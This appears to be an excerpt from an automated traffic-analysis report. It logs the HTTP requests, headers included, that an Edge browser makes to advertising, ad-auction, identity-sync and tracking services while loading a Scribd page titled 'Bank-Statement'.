Source: global traffic	HTTP traffic detected: GET /inner.html HTTP/1.1Host: m.stripe.networkConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://js.stripe.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /api/v1/pbhid?partner_id=474&_it=prebid&t=1&src=id&domain=www.scribd.com HTTP/1.1Host: id.hadron.ad.gtConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: geo.privacymanager.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/jsonContent-Type: application/jsonsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tag?h=freestar-io&upapi=true HTTP/1.1Host: btloader.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /hbid/imp?displaymanager=Prebid.js%20-%20gumgum&displaymanagerver=9.23.0&lt=1739863205560&to=300&aun=scribd_adhesion&maxw=750&maxh=100&si=1016135&pi=3&bf=750x100%2C728x90%2C468x100%2C468x60%2C320x100%2C300x100%2C320x50%2C300x50%2C234x60%2C1x1&uspConsent=1-N-&schain=1.0%2C1!freestar.com%2C1651%2C1%2C%2C%2C&vw=1232&vh=910&sw=1280&sh=1024&pu=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&tpl=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&ce=false&dpr=1&jcsi=%7B%22t%22%3A0%2C%22rq%22%3A8%2C%22pbv%22%3A%229.23.0%22%7D&ogu=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&ns=1382&ua=Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20Win64%3B%20x64)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F117.0.0.0%20Safari%2F537.36%20Edg%2F117.0.2045.47&dnt=0&os=Windows&osv=10&dt=2&lang=en&make=&model= HTTP/1.1Host: g2.gumgum.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /hbid/imp?displaymanager=Prebid.js%20-%20gumgum&displaymanagerver=9.23.0&lt=1739863205562&to=300&aun=scribd_adhesion&maxw=750&maxh=100&si=1016138&pi=3&bf=750x100%2C728x90%2C468x100%2C468x60%2C320x100%2C300x100%2C320x50%2C300x50%2C234x60%2C1x1&uspConsent=1-N-&schain=1.0%2C1!freestar.com%2C1651%2C1%2C%2C%2C&vw=1232&vh=910&sw=1280&sh=1024&pu=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&tpl=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&ce=false&dpr=1&jcsi=%7B%22t%22%3A0%2C%22rq%22%3A8%2C%22pbv%22%3A%229.23.0%22%7D&ogu=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&ns=1382&ua=Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20Win64%3B%20x64)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F117.0.0.0%20Safari%2F537.36%20Edg%2F117.0.2045.47&dnt=0&os=Windows&osv=10&dt=2&lang=en&make=&model= HTTP/1.1Host: g2.gumgum.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /hbid/imp?displaymanager=Prebid.js%20-%20gumgum&displaymanagerver=9.23.0&lt=1739863205562&to=300&aun=scribd_adhesion&maxw=750&maxh=100&si=1016132&pi=3&bf=750x100%2C728x90%2C468x100%2C468x60%2C320x100%2C300x100%2C320x50%2C300x50%2C234x60%2C1x1&uspConsent=1-N-&schain=1.0%2C1!freestar.com%2C1651%2C1%2C%2C%2C&vw=1232&vh=910&sw=1280&sh=1024&pu=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&tpl=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&ce=false&dpr=1&jcsi=%7B%22t%22%3A0%2C%22rq%22%3A8%2C%22pbv%22%3A%229.23.0%22%7D&ogu=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&ns=1382&ua=Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20Win64%3B%20x64)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F117.0.0.0%20Safari%2F537.36%20Edg%2F117.0.2045.47&dnt=0&os=Windows&osv=10&dt=2&lang=en&make=&model= HTTP/1.1Host: g2.gumgum.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /hbid/imp?displaymanager=Prebid.js%20-%20gumgum&displaymanagerver=9.23.0&lt=1739863205562&to=300&aun=scribd_adhesion&maxw=750&maxh=100&si=1016136&pi=3&bf=750x100%2C728x90%2C468x100%2C468x60%2C320x100%2C300x100%2C320x50%2C300x50%2C234x60%2C1x1&uspConsent=1-N-&schain=1.0%2C1!freestar.com%2C1651%2C1%2C%2C%2C&vw=1232&vh=910&sw=1280&sh=1024&pu=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&tpl=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&ce=false&dpr=1&jcsi=%7B%22t%22%3A0%2C%22rq%22%3A8%2C%22pbv%22%3A%229.23.0%22%7D&ogu=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&ns=1382&ua=Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20Win64%3B%20x64)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F117.0.0.0%20Safari%2F537.36%20Edg%2F117.0.2045.47&dnt=0&os=Windows&osv=10&dt=2&lang=en&make=&model= HTTP/1.1Host: g2.gumgum.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /hbid/imp?displaymanager=Prebid.js%20-%20gumgum&displaymanagerver=9.23.0&lt=1739863205562&to=300&aun=scribd_adhesion&maxw=750&maxh=100&si=1016137&pi=3&bf=750x100%2C728x90%2C468x100%2C468x60%2C320x100%2C300x100%2C320x50%2C300x50%2C234x60%2C1x1&uspConsent=1-N-&schain=1.0%2C1!freestar.com%2C1651%2C1%2C%2C%2C&vw=1232&vh=910&sw=1280&sh=1024&pu=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&tpl=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&ce=false&dpr=1&jcsi=%7B%22t%22%3A0%2C%22rq%22%3A8%2C%22pbv%22%3A%229.23.0%22%7D&ogu=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&ns=1382&ua=Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20Win64%3B%20x64)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F117.0.0.0%20Safari%2F537.36%20Edg%2F117.0.2045.47&dnt=0&os=Windows&osv=10&dt=2&lang=en&make=&model= HTTP/1.1Host: g2.gumgum.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /a/api/fastlane.json?account_id=16924&site_id=499626&zone_id=2978060&size_id=2&alt_size_ids=1%2C19%2C39%2C43%2C44%2C117%2C221&us_privacy=1-N-&rp_schain=1.0,1!freestar.com,1651,1,,,&rf=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&tg_v.id=6153141f-7ee9-4f73-a36b-ee3a444bcc92&tg_i.domain=scribd.com&tg_i.page=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&tg_i.name=scribd-com&tg_i.cat=IAB5&tg_i.sectioncat=IAB5&tg_i.pagecat=IAB5&tg_i.mobile=0&tg_i.fs_optimized=false&tg_i.fs_site=6111&tg_i.fs_ad_product=stickyFooter&tk_flint=pbjs_lite_v9.23.0&x_source.tid=ab30c028-5f25-4614-920b-31c36845a021&l_pb_bid_id=1330981e779537b&p_screen_res=1280x1024&rp_secure=1&x_imp.ext.tid=1f51d5e0-1a92-45a4-8248-d7c431dd1a7e&p_site.mobile=0&rp_maxbids=1&m_ch_ua=%22Microsoft%20Edge%22%7Cv%3D%22117%22%2C%22Not%3BA%3DBrand%22%7Cv%3D%228%22%2C%22Chromium%22%7Cv%3D%22117%22&m_ch_full_ver=%22Microsoft%20Edge%22%7Cv%3D%22117%22%2C%22Not%3BA%3DBrand%22%7Cv%3D%228%22%2C%22Chromium%22%7Cv%3D%22117%22&m_ch_mobile=%3F0&m_ch_platform=Windows&slots=1&rand=0.8145932987168047 HTTP/1.1Host: fastlane.rubiconproject.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /exchange/prebid?pbav=9.23.0&p=%5B%7B%22placement_id%22%3A%22scribd_adhesion%22%2C%22callback_id%22%3A%223038b8ea70e3a94%22%2C%22sizes%22%3A%5B%5B750%2C100%5D%2C%5B728%2C90%5D%2C%5B468%2C100%5D%2C%5B468%2C60%5D%2C%5B320%2C100%5D%2C%5B300%2C100%5D%2C%5B320%2C50%5D%2C%5B300%2C50%5D%2C%5B234%2C60%5D%2C%5B1%2C1%5D%5D%2C%22ym_placement_id%22%3A%223316241398931333203%22%2C%22tid%22%3A%221f51d5e0-1a92-45a4-8248-d7c431dd1a7e%22%2C%22auctionId%22%3A%22ab30c028-5f25-4614-920b-31c36845a021%22%7D%5D&page_url=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&bust=1739863205688&dnt=false&description=Bank%20Statement%20-%20Free%20download%20as%20PDF%20File%20(.pdf)%2C%20Text%20File%20(.txt)%20or%20read%20online%20for%20free.%20&tmax=3000&userConsent=%7B%22gdprApplies%22%3A%22%22%2C%22cmp%22%3A%22%22%2C%22gpp%22%3A%22%22%2C%22gpp_sid%22%3A%5B%5D%7D&us_privacy=1-N-&pr=&scrd=1&title=Bank%20Statement%20%7C%20PDF%20%7C%20Debit%20Card%20%7C%20Automated%20Teller%20Machine&w=1232&h=910&schain=%7B%22ver%22%3A%221.0%22%2C%22complete%22%3A1%2C%22nodes%22%3A%5B%7B%22asi%22%3A%22freestar.com%22%2C%22sid%22%3A%221651%22%2C%22hp%22%3A1%7D%5D%7D HTTP/1.1Host: ads.yieldmo.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /f?apiKey=2111098132&r=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement HTTP/1.1Host: fid.agkn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /websiteconfig?bt_env=prod&o=5714937848528896&w=scribd.com HTTP/1.1Host: btloader.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /j?dtstmp=1739863205766&did=did-0047&se=e30&duid=4b59e25de34b--01jmbyv9c0rf4g5m4sqh1c9y52&tv=9.23.0&pu=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&wpn=prebid&cd=.scribd.com HTTP/1.1Host: rp.liadm.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"content-type: text/plainx-li-provided-user-agent: undefinedsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /lb/v1 HTTP/1.1Host: lb.eu-1-id5-sync.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /hadron.js?partner_id=474&_it=prebid HTTP/1.1Host: cdn.hadronid.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /checksync.php?cid=8CUEHS6F9&cs=87&type=mpbc&cv=37&vsSync=1&uspstring=1-N-&gdpr=&gdprsting=&gpp=&gpp_sid=&redirect=https%3A%2F%2Fs2s.t13.io%2Fsetuid%3Fbidder%3Dmedianet%26gdpr%3D%26gdpr_consent%3D%26us_privacy%3D1-N-%26gpp%3D%26gpp_sid%3D%26f%3Db%26uid%3D%3Cvsid%3E HTTP/1.1Host: hbx.media.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /api/v1/u/matches/474?_it=freestar HTTP/1.1Host: a.ad.gtConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /aax2/apstag.js HTTP/1.1Host: c.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /out-4.5.44.js HTTP/1.1Host: m.stripe.networkConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://m.stripe.network/inner.htmlAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /live/liveView.php?s=115858&cbuster=1739863205&pubUrl=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&x=400&y=272&playerApiId=freestarPrimisPlayer&schain=1.0,1!freestar.com,1651,1 HTTP/1.1Host: live.primis.techConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /favicon.ico?ad=300x250&ad_box_=1&adnet=1&showad=1&size=250x250 HTTP/1.1Host: ad.doubleclick.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /px.gif?ch=2 HTTP/1.1Host: ad-delivery.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /px.gif?ch=1&e=0.9016236170931973 HTTP/1.1Host: ad-delivery.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /quant.js HTTP/1.1Host: secure.quantserve.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /v1/hadron.json?_it=freestar&partner_id=474&sync=0&domain=www.scribd.com&url=https://www.scribd.com/document/806838445/Bank-Statement&v=06 HTTP/1.1Host: id.hadron.ad.gtConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Content-Type: application/jsonAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /country?o=5714937848528896 HTTP/1.1Host: api.btloader.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
